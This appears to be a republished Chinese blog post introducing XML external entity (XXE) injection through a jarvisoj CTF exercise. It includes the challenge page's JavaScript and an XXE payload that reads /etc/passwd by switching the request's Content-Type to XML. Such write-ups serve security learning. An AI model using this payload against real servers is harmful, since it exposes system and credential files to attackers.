前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >XXE初探

XXE初探

作者头像
全栈程序员站长
发布2022-08-25 13:29:32
2270
发布2022-08-25 13:29:32
举报
文章被收录于专栏:全栈程序员必看

大家好,又见面了,我是你们的朋友全栈君。

最近经常看到XXE出没,以为是最近才出现的一种类型,后来发现14年,乌云上面就有好多的案例,实在是我太lo了~

@Time:2018/11/15

在 jarvisoj 上面有着一道xxe的练习题,感兴趣的大佬可以去玩玩 https://www.jarvisoj.com/challenges

在写题之前,我们先科普一下,什么是xxe?xxe是 xml外部实体注入,这里有一段xml的解释

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

关于xml以及xxe的知识在这位大佬的博客讲的很清楚 https://www.cnblogs.com/r00tuser/p/7255939.html

我们的xxe注入的地方就在于xml的DTD(文档类型定义),xml格式如下

代码语言:javascript
复制
<?xml version="1.0"?>
<!DOCTYPE task [
  <!ENTITY search SYSTEM "/etc/passwd">
]>
<task>&search;</task>

jarvisoj的例题来更好地说明一下:

进入的页面是这个

XXE初探
XXE初探

我们可以在源代码里面看到如下代码

代码语言:javascript
复制
<script>
function XHR() {
        var xhr;
        try {xhr = new XMLHttpRequest();}
        catch(e) {
            var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
            for (var i=0,len=IEXHRVers.length;i< len;i++) {
                try {xhr = new ActiveXObject(IEXHRVers[i]);}
                catch(e) {continue;}
            }
        }
        return xhr;
    }

function send(){
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);
     xhr.onreadystatechange = function () {
         if (xhr.readyState==4 && xhr.status==201) {
             data = JSON.parse(xhr.responseText);
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send('{"search":"'+evil_input+'","value":"own"}');
}
</script>

看到了xml的字样,猜测可能有xxe(没有也不会放在这里啦 :))

可以抓个包看看,是在提交json数据,但是我们可以改成xml

XXE初探
XXE初探

第一步,也是最重要的一步,就是把content-type改成xml

XXE初探
XXE初探

之后就post我们上面写的xml了,就能拿到flag

XXE初探
XXE初探

其中的 <!DOCTYPE> 是定义实体,&search 是引用实体,我们还可以通过这个拿到 /etc/passwd :)

XXE初探
XXE初探

END :)

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/142421.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年5月1,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档